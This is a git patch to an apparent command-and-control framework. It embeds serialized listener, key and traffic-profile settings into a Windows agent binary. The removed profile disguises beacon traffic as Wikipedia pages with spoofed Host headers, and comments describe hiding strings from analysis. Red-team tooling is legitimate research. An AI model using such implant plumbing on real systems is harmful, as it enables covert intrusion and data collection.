From 84e8730b1ebd326bc56a34cf78462a8006aede15 Mon Sep 17 00:00:00 2001 From: Jakob Friedl <71284620+jakobfriedl@users.noreply.github.com> Date: Mon, 18 Aug 2025 22:05:23 +0200 Subject: [PATCH] Implemented profile embedding via patching a placeholder in the agent executable. Agent correctly deserializes and parses the profile and listener configuration. --- src/agent/build.sh | 2 - src/agent/core/context.nim | 91 +++++++----- src/agent/nim.cfg | 11 +- src/agent/protocol/heartbeat.nim | 4 +- src/agent/protocol/registration.nim | 6 +- src/common/serialize.nim | 3 + src/common/types.nim | 33 +++-- src/common/utils.nim | 4 +- src/server/api/handlers.nim | 12 +- src/server/core/agent.nim | 63 +-------- src/server/core/builder.nim | 148 ++++++++++++++++++++ src/server/core/server.nim | 15 +- src/server/core/task.nim | 3 +- src/server/{message => protocol}/packer.nim | 10 +- src/server/{message => protocol}/parser.nim | 6 +- 15 files changed, 258 insertions(+), 153 deletions(-) create mode 100644 src/server/core/builder.nim rename src/server/{message => protocol}/packer.nim (88%) rename src/server/{message => protocol}/parser.nim (94%) diff --git a/src/agent/build.sh b/src/agent/build.sh index a515982..b839cdf 100644 --- a/src/agent/build.sh +++ b/src/agent/build.sh @@ -6,7 +6,5 @@ nim --os:windows \ --gcc.exe:x86_64-w64-mingw32-gcc \ --gcc.linkerexe:x86_64-w64-mingw32-gcc \ -d:release \ - --outdir:"$CONQUEST_ROOT/bin" \ - -o:"monarch.x64.exe" \ -d:agent \ c $CONQUEST_ROOT/src/agent/main.nim diff --git a/src/agent/core/context.nim b/src/agent/core/context.nim index ba936e6..7abc118 100644 --- a/src/agent/core/context.nim +++ b/src/agent/core/context.nim @@ -1,15 +1,43 @@ import parsetoml, base64, system -import ../../common/[types, utils, crypto] +import ../../common/[types, utils, crypto, serialize] -const ListenerUuid {.strdefine.}: string = "" -const Octet1 {.intdefine.}: int = 0 -const Octet2 {.intdefine.}: int = 0 -const Octet3 {.intdefine.}: int = 0 -const Octet4 {.intdefine.}: int = 0 -const ListenerPort {.intdefine.}: int = 5555 -const SleepDelay {.intdefine.}: int = 10 -const ServerPublicKey {.strdefine.}: string = "" -const ProfileString {.strdefine.}: string = "" +const CONFIGURATION {.strdefine.}: string = "" + +proc deserializeConfiguration(config: string): AgentCtx = + + var unpacker = Unpacker.init(config) + + var agentKeyPair = generateKeyPair() + + var ctx = new AgentCtx + ctx.agentId = generateUUID() + ctx.agentPublicKey = agentKeyPair.publicKey + + while unpacker.getPosition() != config.len(): + + let + configType = cast[ConfigType](unpacker.getUint8()) + length = int(unpacker.getUint32()) + data = unpacker.getBytes(length) + + case configType: + of CONFIG_LISTENER_UUID: + ctx.listenerId = Uuid.toString(Bytes.toUint32(data)) + of CONFIG_LISTENER_IP: + ctx.ip = Bytes.toString(data) + of CONFIG_LISTENER_PORT: + ctx.port = int(Bytes.toUint32(data)) + of CONFIG_SLEEP_DELAY: + ctx.sleep = int(Bytes.toUint32(data)) + of CONFIG_PUBLIC_KEY: + let serverPublicKey = Bytes.toString(data).toKey() + ctx.sessionKey = deriveSessionKey(agentKeyPair, serverPublicKey) + of CONFIG_PROFILE: + ctx.profile = parseString(Bytes.toString(data)) + else: discard + + echo "[+] Profile configuration deserialized." + return ctx proc init*(T: type AgentCtx): AgentCtx = @@ -17,39 +45,30 @@ proc init*(T: type AgentCtx): AgentCtx = # The agent configuration is read at compile time using define/-d statements in nim.cfg # This configuration file can be dynamically generated from the teamserver management interface # Downside to this is obviously that readable strings, such as the listener UUID can be found in the binary - when not ( defined(ListenerUuid) or - defined(Octet1) or - defined(Octet2) or - defined(Octet3) or - defined(Octet4) or - defined(ListenerPort) or - defined(SleepDelay) or - defined(ServerPublicKey) or - defined(ProfilePath)): + when not defined(CONFIGURATION): raise newException(CatchableError, "Missing agent configuration.") - # Reconstruct IP address, which is split into integers to prevent it from showing up as a hardcoded-string in the binary - let address = $Octet1 & "." & $Octet2 & "." & $Octet3 & "." & $Octet4 + return deserializeConfiguration(CONFIGURATION) # Create agent configuration - var agentKeyPair = generateKeyPair() - let serverPublicKey = decode(ServerPublicKey).toKey() + # var agentKeyPair = generateKeyPair() + # let serverPublicKey = decode(ServerPublicKey).toKey() - let ctx = AgentCtx( - agentId: generateUUID(), - listenerId: ListenerUuid, - ip: address, - port: ListenerPort, - sleep: SleepDelay, - sessionKey: deriveSessionKey(agentKeyPair, serverPublicKey), # Perform key exchange to derive AES256 session key for encrypted communication - agentPublicKey: agentKeyPair.publicKey, - profile: parseString(decode(ProfileString)) - ) + # let ctx = AgentCtx( + # agentId: generateUUID(), + # listenerId: ListenerUuid, + # ip: address, + # port: ListenerPort, + # sleep: SleepDelay, + # sessionKey: deriveSessionKey(agentKeyPair, serverPublicKey), # Perform key exchange to derive AES256 session key for encrypted communication + # agentPublicKey: agentKeyPair.publicKey, + # profile: parseString(decode(ProfileString)) + # ) - # Cleanup agent's secret key - wipeKey(agentKeyPair.privateKey) + # # Cleanup agent's secret key + # wipeKey(agentKeyPair.privateKey) - return ctx + # return ctx except CatchableError as err: echo "[-] " & err.msg diff --git a/src/agent/nim.cfg b/src/agent/nim.cfg index 717e241..f5d398b 100644 --- a/src/agent/nim.cfg +++ b/src/agent/nim.cfg @@ -1,10 +1,3 @@ # Agent configuration --d:ListenerUuid="D07778EF" --d:Octet1="172" --d:Octet2="29" --d:Octet3="177" --d:Octet4="43" --d:ListenerPort=8080 --d:SleepDelay=3 --d:ServerPublicKey="mi9o0kPu1ZSbuYfnG5FmDUMAvEXEvp11OW9CQLCyL1U=" --d:ProfileString="bmFtZSA9ICJjcS1kZWZhdWx0LXByb2ZpbGUiCmNvbnF1ZXN0X2RpcmVjdG9yeSA9ICIvbW50L2MvVXNlcnMvamFrb2IvRG9jdW1lbnRzL1Byb2plY3RzL2NvbnF1ZXN0Igpwcml2YXRlX2tleV9maWxlID0gIi9tbnQvYy9Vc2Vycy9qYWtvYi9Eb2N1bWVudHMvUHJvamVjdHMvY29ucXVlc3QvZGF0YS9rZXlzL2NvbnF1ZXN0LXNlcnZlcl94MjU1MTlfcHJpdmF0ZS5rZXkiCmRhdGFiYXNlX2ZpbGUgPSAiL21udC9jL1VzZXJzL2pha29iL0RvY3VtZW50cy9Qcm9qZWN0cy9jb25xdWVzdC9kYXRhL2NvbnF1ZXN0LmRiIgpbYWdlbnRdCnNsZWVwID0gNQp1c2VyLWFnZW50ID0gIk1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdpbjY0OyB4NjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8xMzguMC4wLjAgU2FmYXJpLzUzNy4zNiIKCltodHRwLWdldF0KZW5kcG9pbnRzID0gWyIvZ2V0IiwgIi9hcGkvdjEuMi9zdGF0dXMuanMiXQpbaHR0cC1nZXQuYWdlbnQuaGVhcnRiZWF0XQpwcmVmaXggPSAiQmVhcmVyIGV5SmhiR2NpT2lKSVV6STFOaUlzSW5SNWNDSTZJa3BYVkNKOS4iCnN1ZmZpeCA9ICIuIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMtIyMjIyIKW2h0dHAtZ2V0LmFnZW50LmhlYXJ0YmVhdC5wbGFjZW1lbnRdCnR5cGUgPSAiaGVhZGVyIgpuYW1lID0gIkF1dGhvcml6YXRpb24iCgpbaHR0cC1nZXQuYWdlbnQuaGVhcnRiZWF0LmVuY29kaW5nXQp0eXBlID0gImJhc2U2NCIKdXJsLXNhZmUgPSB0cnVlCgoKW2h0dHAtZ2V0LmFnZW50LnBhcmFtZXRlcnNdCmlkID0gIiMjIyMjLSMjIyMjIgpsYW5nID0gImVuLVVTIgoKW2h0dHAtZ2V0LmFnZW50LmhlYWRlcnNdCkhvc3QgPSBbIndpa2lwZWRpYS5vcmciLCAiZ29vZ2xlLmNvbSIsICIxMjcuMC4wLjEiXQpDb25uZWN0aW9uID0gIktlZXAtQWxpdmUiCkNhY2hlLUNvbnRyb2wgPSAibm8tY2FjaGUiCgpbaHR0cC1nZXQuc2VydmVyLmhlYWRlcnNdClNlcnZlciA9ICJuZ2lueCIKQ29udGVudC1UeXBlID0gImFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbSIKQ29ubmVjdGlvbiA9ICJLZWVwLUFsaXZlIgoKW2h0dHAtZ2V0LnNlcnZlci5vdXRwdXRdCnByZWZpeCA9ICI8IURPQ1RZUEUgaHRtbD48aHRtbCBjbGFzcz1jbGllbnQtbm9qcyBsYW5nPWVuIGRpcj1sdHI+PGhlYWQ+PG1ldGEgY2hhcnNldD1VVEYtOC8+PHRpdGxlPldpa2lwZWRpYTwvdGl0bGU+PHNjcmlwdD5kb2N1bWVudC5kb2N1bWVudEVsZW1lbnQuY2xhc3NOYW1lID0gZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LmNsYXNzTmFtZS5yZXBsYWNlKCAvKF58cyljbGllbnQtbm9qcyhzfCQpLywgJDFjbGllbnQtanMkMiApOzwvc2NyaXB0PjxzY3JpcHQ+KHdpbmRvdy5STFE9d2luZG93LlJMUXx8W10pLnB1c2goZnVuY3Rpb24oKXttdy5jb25maWcuc2V0KHt3Z0Nhbm9uaWNhbE5hbWVzcGFjZTosd2dDYW5vbmljYWxTcGVjaWFsUGFnZU5hbWU6ZmFsc2Usd2dOYW1lc3BhY2VOdW1iZXI6MCwsd2dCZXRhRmVhdHVyZXNGZWF0dXJlczpbXSx3Z01lZGlhVmlld2VyT25DbGljazp0cnVlLHdnTWVkaWFWaWV3ZXJFbmFibGVkQnlEZWZhdWx0OnRydWUsd2dWaXN1YWxFZGl0b3I6e3BhZ2VMYW5ndWFnZUNvZGU6ZW4scGFnZUxhbmd1YWdlRGlyOmx0cix1c2VQYWdlSW1hZ2VzOnRydWUsdXNlUGFnZURlc2NyaXB0aW9uczp0cnVlfSx3Z1ByZWZlcnJlZFZhcmlhbnQ6ZW4sd2dNRkRpc3BsYXlXaWtpYmFzZURlc2NyaXB0aW9uczp7c2VhcmNoOnRydWUsbmVhcmJ5OnRydWUsd2F0Y2hsaXN0OnRydWUsdGFnbGluZTpmYWxzZX0sd2dSZWxhdGVkQXJ0aWNsZXM6bnVsbCx3Z1JlbGF0ZWRBcnRpY2xlc1VzZUNpcnJ1c1NlYXJjaDp0cnVlLHdnUmVsYXRlZEFydGljbGVzT25seVVzZUNpcnJ1c1NlYXJjaDpmYWxzZSx3Z1VMU0N1cnJlbnRBdXRvbnltOkVuZ2xpc2gsd2dOb3RpY2VQcm9qZWN0Ondpa2lwZWRpYSx3Z0NlbnRyYWxOb3RpY2VDb29raWVzVG9EZWxldGU6W10sd2dDZW50cmFsTm90aWNlQ2F0ZWdvcmllc1VzaW5nTGVnYWN5OltGdW5kcmFpc2luZyxmdW5kcmFpc2luZ10sd2dDYXRlZ29yeVRyZWVQYWdlQ2F0ZWdvcnlPcHRpb25zOnttb2RlOjAsaGlkZXByZWZpeDoyMCxzaG93Y291bnQ6dHJ1ZSxuYW1lc3BhY2VzOmZhbHNlfSx3Z1dpa2liYXNlSXRlbUlkOiIKc3VmZml4ID0gIix3Z0NlbnRyYWxBdXRoTW9iaWxlRG9tYWluOmZhbHNlLHdnVmlzdWFsRWRpdG9yVG9vbGJhclNjcm9sbE9mZnNldDowLHdnRWRpdFN1Ym1pdEJ1dHRvbkxhYmVsUHVibGlzaDpmYWxzZX0pO213LmxvYWRlci5zdGF0ZSh7ZXh0Lmdsb2JhbENzc0pzLnVzZXIuc3R5bGVzOnJlYWR5LGV4dC5nbG9iYWxDc3NKcy5zaXRlLnN0eWxlczpyZWFkeSxzaXRlLnN0eWxlczpyZWFkeSxub3NjcmlwdDpyZWFkeSx1c2VyLnN0eWxlczpyZWFkeSx1c2VyOnJlYWR5LHVzZXIub3B0aW9uczpsb2FkaW5nLHVzZXIudG9rZW5zOmxvYWRpbmcsd2lraWJhc2UuY2xpZW50LmluaXQ6cmVhZHksZXh0LnZpc3VhbEVkaXRvci5kZXNrdG9wQXJ0aWNsZVRhcmdldC5ub3NjcmlwdDpyZWFkeSxleHQudWxzLmludGVybGFuZ3VhZ2U6cmVhZHksZXh0Lndpa2ltZWRpYUJhZGdlczpyZWFkeSxtZWRpYXdpa2kubGVnYWN5LnNoYXJlZDpyZWFkeSxtZWRpYXdpa2kubGVnYWN5LmNvbW1vblByaW50OnJlYWR5LG1lZGlhd2lraS5zZWN0aW9uQW5jaG9yOnJlYWR5LG1lZGlhd2lraS5za2lubmluZy5pbnRlcmZhY2U6cmVhZHksc2tpbnMudmVjdG9yLnN0eWxlczpyZWFkeSxleHQuZ2xvYmFsQ3NzSnMudXNlcjpyZWFkeSxleHQuZ2xvYmFsQ3NzSnMuc2l0ZTpyZWFkeX0pO213LmxvYWRlci5pbXBsZW1lbnQodXNlci5vcHRpb25zQDBqM2x6M3EsZnVuY3Rpb24oJCxqUXVlcnkscmVxdWlyZSxtb2R1bGUpe213LnVzZXIub3B0aW9ucy5zZXQoe3ZhcmlhbnQ6ZW59KTt9KTttdy5sb2FkZXIuaW1wbGVtZW50KHVzZXIudG9rZW5zQDFkcWZkN2wsZnVuY3Rpb24gKCAkLCBqUXVlcnksIHJlcXVpcmUsIG1vZHVsZSApPC9zY3JpcHQ+PGxpbmsgcmVsPXN0eWxlc2hlZXQgaHJlZj0vdy9sb2FkLnBocD9kZWJ1Zz1mYWxzZSZhbXA7bGFuZz1lbiZhbXA7bW9kdWxlcz1leHQudWxzLmludGVybGFuZ3VhZ2UlN0NleHQudmlzdWFsRWRpdG9yLmRlc2t0b3BBcnRpY2xlVGFyZ2V0Lm5vc2NyaXB0JTdDZXh0Lndpa2ltZWRpYUJhZGdlcyU3Q21lZGlhd2lraS5sZWdhY3kuY29tbW9uUHJpbnQlMkNzaGFyZWQlN0NtZWRpYXdpa2kuc2VjdGlvbkFuY2hvciU3Q21lZGlhd2lraS5za2lubmluZy5pbnRlcmZhY2UlN0Nza2lucy52ZWN0b3Iuc3R5bGVzJTdDd2lraWJhc2UuY2xpZW50LmluaXQmYW1wO29ubHk9c3R5bGVzJmFtcDtza2luPXZlY3Rvci8+PHNjcmlwdCBhc3luYz0gc3JjPS93L2xvYWQucGhwP2RlYnVnPWZhbHNlJmFtcDtsYW5nPWVuJmFtcDttb2R1bGVzPXN0YXJ0dXAmYW1wO29ubHk9c2NyaXB0cyZhbXA7c2tpbj12ZWN0b3I+PC9zY3JpcHQ+PG1ldGEgbmFtZT1SZXNvdXJjZUxvYWRlckR5bmFtaWNTdHlsZXMgY29udGVudD0vPjxsaW5rIHJlbD1zdHlsZXNoZWV0IGhyZWY9L3cvbG9hZC5waHA/ZGVidWc9ZmFsc2UmYW1wO2xhbmc9ZW4mYW1wO21vZHVsZXM9c2l0ZS5zdHlsZXMmYW1wO29ubHk9c3R5bGVzJmFtcDtza2luPXZlY3Rvci8+IgpbaHR0cC1nZXQuc2VydmVyLm91dHB1dC5wbGFjZW1lbnRdCnR5cGUgPSAiYm9keSIKCltodHRwLWdldC5zZXJ2ZXIub3V0cHV0LmVuY29kaW5nXQp0eXBlID0gImJhc2U2NCIKCgoKW2h0dHAtcG9zdF0KZW5kcG9pbnRzID0gWyIvcG9zdCIsICIvYXBpL3YyL2dldC5qcyJdCnJlcXVlc3QtbWV0aG9kcyA9IFsiUE9TVCIsICJQVVQiXQpbaHR0cC1wb3N0LmFnZW50LmhlYWRlcnNdCkhvc3QgPSBbIndpa2lwZWRpYS5vcmciLCAiZ29vZ2xlLmNvbSIsICIxMjcuMC4wLjEiXQpDb250ZW50LVR5cGUgPSAiYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtIgpDb25uZWN0aW9uID0gIktlZXAtQWxpdmUiCkNhY2hlLUNvbnRyb2wgPSAibm8tY2FjaGUiCgpbaHR0cC1wb3N0LmFnZW50Lm91dHB1dC5wbGFjZW1lbnRdCnR5cGUgPSAiYm9keSIKCltodHRwLXBvc3Quc2VydmVyLmhlYWRlcnNdClNlcnZlciA9ICJuZ2lueCIKCltodHRwLXBvc3Quc2VydmVyLm91dHB1dC5wbGFjZW1lbnRdCnR5cGUgPSAiYm9keSIKCgo=" +-d:CONFIGURATION=PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER +-o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe" diff --git a/src/agent/protocol/heartbeat.nim b/src/agent/protocol/heartbeat.nim index 0e22cfa..774bef1 100644 --- a/src/agent/protocol/heartbeat.nim +++ b/src/agent/protocol/heartbeat.nim @@ -10,12 +10,12 @@ proc createHeartbeat*(ctx: AgentCtx): Heartbeat = packetType: cast[uint8](MSG_HEARTBEAT), flags: cast[uint16](FLAG_ENCRYPTED), size: 0'u32, - agentId: uuidToUint32(ctx.agentId), + agentId: string.toUuid(ctx.agentId), seqNr: 0'u32, iv: generateIV(), gmac: default(AuthenticationTag) ), - listenerId: uuidToUint32(ctx.listenerId), + listenerId: string.toUuid(ctx.listenerId), timestamp: uint32(now().toTime().toUnix()) ) diff --git a/src/agent/protocol/registration.nim b/src/agent/protocol/registration.nim index d3d8293..14b0753 100644 --- a/src/agent/protocol/registration.nim +++ b/src/agent/protocol/registration.nim @@ -201,14 +201,14 @@ proc collectAgentMetadata*(ctx: AgentCtx): AgentRegistrationData = packetType: cast[uint8](MSG_REGISTER), flags: cast[uint16](FLAG_ENCRYPTED), size: 0'u32, - agentId: uuidToUint32(ctx.agentId), - seqNr: nextSequence(uuidToUint32(ctx.agentId)), + agentId: string.toUuid(ctx.agentId), + seqNr: nextSequence(string.toUuid(ctx.agentId)), iv: generateIV(), gmac: default(AuthenticationTag) ), agentPublicKey: ctx.agentPublicKey, metadata: AgentMetadata( - listenerId: uuidToUint32(ctx.listenerId), + listenerId: string.toUuid(ctx.listenerId), username: string.toBytes(getUsername()), hostname: string.toBytes(getHostname()), domain: string.toBytes(getDomain()), diff --git a/src/common/serialize.nim b/src/common/serialize.nim index 73b611b..8f204e1 100644 --- a/src/common/serialize.nim +++ b/src/common/serialize.nim @@ -69,6 +69,9 @@ proc init*(T: type Unpacker, data: string): Unpacker = result.stream = newStringStream(data) result.position = 0 +proc getPosition*(unpacker: Unpacker): int = + return unpacker.position + proc getUint8*(unpacker: Unpacker): uint8 = result = unpacker.stream.readUint8() unpacker.position += 1 diff --git a/src/common/types.nim b/src/common/types.nim index 37bfd38..a4e37b5 100644 --- a/src/common/types.nim +++ b/src/common/types.nim @@ -55,8 +55,17 @@ type RESULT_BINARY = 1'u8 RESULT_NO_OUTPUT = 2'u8 + ConfigType* = enum + CONFIG_LISTENER_UUID = 0'u8 + CONFIG_LISTENER_IP = 1'u8 + CONFIG_LISTENER_PORT = 2'u8 + CONFIG_SLEEP_DELAY = 3'u8 + CONFIG_PUBLIC_KEY = 4'u8 + CONFIG_PROFILE = 5'u8 + # Encryption type + Uuid* = uint32 Bytes* = seq[byte] Key* = array[32, byte] Iv* = array[12, byte] @@ -70,7 +79,7 @@ type packetType*: uint8 # [1 byte ] message type flags*: uint16 # [2 bytes ] message flags size*: uint32 # [4 bytes ] size of the payload body - agentId*: uint32 # [4 bytes ] agent id, used as AAD for encryptio + agentId*: Uuid # [4 bytes ] agent id, used as AAD for encryptio seqNr*: uint32 # [4 bytes ] sequence number, used as AAD for encryption iv*: Iv # [12 bytes] random IV for AES256 GCM encryption gmac*: AuthenticationTag # [16 bytes] authentication tag for AES256 GCM encryption @@ -81,8 +90,8 @@ type Task* = object header*: Header - taskId*: uint32 # [4 bytes ] task id - listenerId*: uint32 # [4 bytes ] listener id + taskId*: Uuid # [4 bytes ] task id + listenerId*: Uuid # [4 bytes ] listener id timestamp*: uint32 # [4 bytes ] unix timestamp command*: uint16 # [2 bytes ] command id argCount*: uint8 # [1 byte ] number of arguments @@ -90,8 +99,8 @@ type TaskResult* = object header*: Header - taskId*: uint32 # [4 bytes ] task id - listenerId*: uint32 # [4 bytes ] listener id + taskId*: Uuid # [4 bytes ] task id + listenerId*: Uuid # [4 bytes ] listener id timestamp*: uint32 # [4 bytes ] unix timestamp command*: uint16 # [2 bytes ] command id status*: uint8 # [1 byte ] success flag @@ -102,16 +111,16 @@ type # Checkin binary structure type Heartbeat* = object - header*: Header # [48 bytes ] fixed header - listenerId*: uint32 # [4 bytes ] listener id - timestamp*: uint32 # [4 bytes ] unix timestamp + header*: Header # [48 bytes ] fixed header + listenerId*: Uuid # [4 bytes ] listener id + timestamp*: uint32 # [4 bytes ] unix timestamp # Registration binary structure type # All variable length fields are stored as seq[byte], prefixed with 4 bytes indicating the length of the following data AgentMetadata* = object - listenerId*: uint32 + listenerId*: Uuid username*: seq[byte] hostname*: seq[byte] domain*: seq[byte] @@ -157,7 +166,7 @@ type port*: int protocol*: Protocol -# Server context structure +# Server context structures type KeyPair* = object privateKey*: Key @@ -174,8 +183,6 @@ type keyPair*: KeyPair profile*: Profile -# Agent config -type AgentCtx* = ref object agentId*: string listenerId*: string @@ -201,4 +208,4 @@ type example*: string arguments*: seq[Argument] dispatchMessage*: string - execute*: proc(config: AgentCtx, task: Task): TaskResult {.nimcall.} \ No newline at end of file + execute*: proc(config: AgentCtx, task: Task): TaskResult {.nimcall.} diff --git a/src/common/utils.nim b/src/common/utils.nim index cb4ec62..3d0be6f 100644 --- a/src/common/utils.nim +++ b/src/common/utils.nim @@ -10,10 +10,10 @@ proc generateUUID*(): string = raise newException(CatchableError, "Failed to generate UUID.") return uuid.toHex().toUpperAscii() -proc uuidToUint32*(uuid: string): uint32 = +proc toUuid*(T: type string, uuid: string): Uuid = return fromHex[uint32](uuid) -proc uuidToString*(uuid: uint32): string = +proc toString*(T: type Uuid, uuid: Uuid): string = return uuid.toHex(8) proc toString*(T: type Bytes, data: seq[byte]): string = diff --git a/src/server/api/handlers.nim b/src/server/api/handlers.nim index 9a60266..2336dd3 100644 --- a/src/server/api/handlers.nim +++ b/src/server/api/handlers.nim @@ -2,7 +2,7 @@ import terminal, strformat, strutils, sequtils, tables, json, times, base64, sys import ../[utils, globals] import ../db/database -import ../message/packer +import ../protocol/packer import ../../common/[types, utils] #[ @@ -40,8 +40,8 @@ proc getTasks*(heartbeat: seq[byte]): seq[seq[byte]] = # Deserialize checkin request to obtain agentId and listenerId let request: Heartbeat = cq.deserializeHeartbeat(heartbeat) - agentId = uuidToString(request.header.agentId) - listenerId = uuidToString(request.listenerId) + agentId = Uuid.toString(request.header.agentId) + listenerId = Uuid.toString(request.listenerId) timestamp = request.timestamp var result: seq[seq[byte]] @@ -72,9 +72,9 @@ proc handleResult*(resultData: seq[byte]) = let taskResult = cq.deserializeTaskResult(resultData) - taskId = uuidToString(taskResult.taskId) - agentId = uuidToString(taskResult.header.agentId) - listenerId = uuidToString(taskResult.listenerId) + taskId = Uuid.toString(taskResult.taskId) + agentId = Uuid.toString(taskResult.header.agentId) + listenerId = Uuid.toString(taskResult.listenerId) let date: string = now().format("dd-MM-yyyy HH:mm:ss") cq.writeLine(fgBlack, styleBright, fmt"[{date}] [*] ", resetStyle, fmt"{$resultData.len} bytes received.") diff --git a/src/server/core/agent.nim b/src/server/core/agent.nim index 26c128b..73360fd 100644 --- a/src/server/core/agent.nim +++ b/src/server/core/agent.nim @@ -34,6 +34,7 @@ Commands: info Display details for a specific agent. kill Terminate the connection of an active listener and remove it from the interface. interact Interact with an active agent. + build Generate a new agent to connect to an active listener. Options: -h, --help""") @@ -124,65 +125,3 @@ proc agentInteract*(cq: Conquest, name: string) = cq.interactAgent = nil -# Agent generation -proc agentBuild*(cq: Conquest, listener, sleep, payload: string) = - - # Verify that listener exists - if not cq.dbListenerExists(listener.toUpperAscii): - cq.writeLine(fgRed, styleBright, fmt"[-] Listener {listener.toUpperAscii} does not exist.") - return - - let listener = cq.listeners[listener.toUpperAscii] - - # Create/overwrite nim.cfg file to set agent configuration - let AgentCtxFile = fmt"../src/agent/nim.cfg" - - # Parse IP Address and store as compile-time integer to hide hardcoded-strings in binary from `strings` command - let (first, second, third, fourth) = parseOctets(listener.address) - - # Covert the servers's public X25519 key to as base64 string - let publicKey = encode(cq.keyPair.publicKey) - let profileString = encode(cq.profile.toTomlString()) - - # The following shows the format of the agent configuration file that defines compile-time variables - let config = fmt""" - # Agent configuration - -d:ListenerUuid="{listener.listenerId}" - -d:Octet1="{first}" - -d:Octet2="{second}" - -d:Octet3="{third}" - -d:Octet4="{fourth}" - -d:ListenerPort={listener.port} - -d:SleepDelay={sleep} - -d:ServerPublicKey="{publicKey}" - -d:ProfileString="{profileString}" - """.replace(" ", "") - writeFile(AgentCtxFile, config) - - cq.writeLine(fgBlack, styleBright, "[*] ", resetStyle, "Configuration file created.") - - # Build agent by executing the ./build.sh script on the system. - let agentBuildScript = fmt"../src/agent/build.sh" - - cq.writeLine(fgBlack, styleBright, "[*] ", resetStyle, "Building agent...") - - try: - # Using the startProcess function from the 'osproc' module, it is possible to retrieve the output as it is received, line-by-line instead of all at once - let process = startProcess(agentBuildScript, options={poUsePath, poStdErrToStdOut}) - let outputStream = process.outputStream - - var line: string - while outputStream.readLine(line): - cq.writeLine(line) - - let exitCode = process.waitForExit() - - # Check if the build succeeded or not - if exitCode == 0: - cq.writeLine(fgGreen, "[+] ", resetStyle, "Agent payload generated successfully.") - else: - cq.writeLine(fgRed, styleBright, "[-] ", resetStyle, "Build script exited with code ", $exitCode) - - except CatchableError as err: - cq.writeLine(fgRed, styleBright, "[-] ", resetStyle, "An error occurred: ", err.msg) - diff --git a/src/server/core/builder.nim b/src/server/core/builder.nim new file mode 100644 index 0000000..574f417 --- /dev/null +++ b/src/server/core/builder.nim @@ -0,0 +1,148 @@ +import terminal, strformat, strutils, sequtils, tables, times, system, osproc, streams, base64, parsetoml + +import ../utils +import ../../common/[types, utils, profile, serialize] +import ../db/database + +const PLACEHOLDER = "PLACEHOLDER" + +proc serializeConfiguration(cq: Conquest, listener: Listener, sleep: int): seq[byte] = + + var packer = Packer.init() + + # Add listener configuration + packer.add(uint8(CONFIG_LISTENER_UUID)) + packer.add(uint32(sizeof(uint32))) + packer.add(string.toUuid(listener.listenerId)) + + packer.add(uint8(CONFIG_LISTENER_IP)) + packer.add(uint32(listener.address.len)) + packer.addData(string.toBytes(listener.address)) + + packer.add(uint8(CONFIG_LISTENER_PORT)) + packer.add(uint32(sizeof(uint32))) + packer.add(uint32(listener.port)) + + packer.add(uint8(CONFIG_SLEEP_DELAY)) + packer.add(uint32(sizeof(uint32))) + packer.add(uint32(sleep)) + + # Add key exchange information + 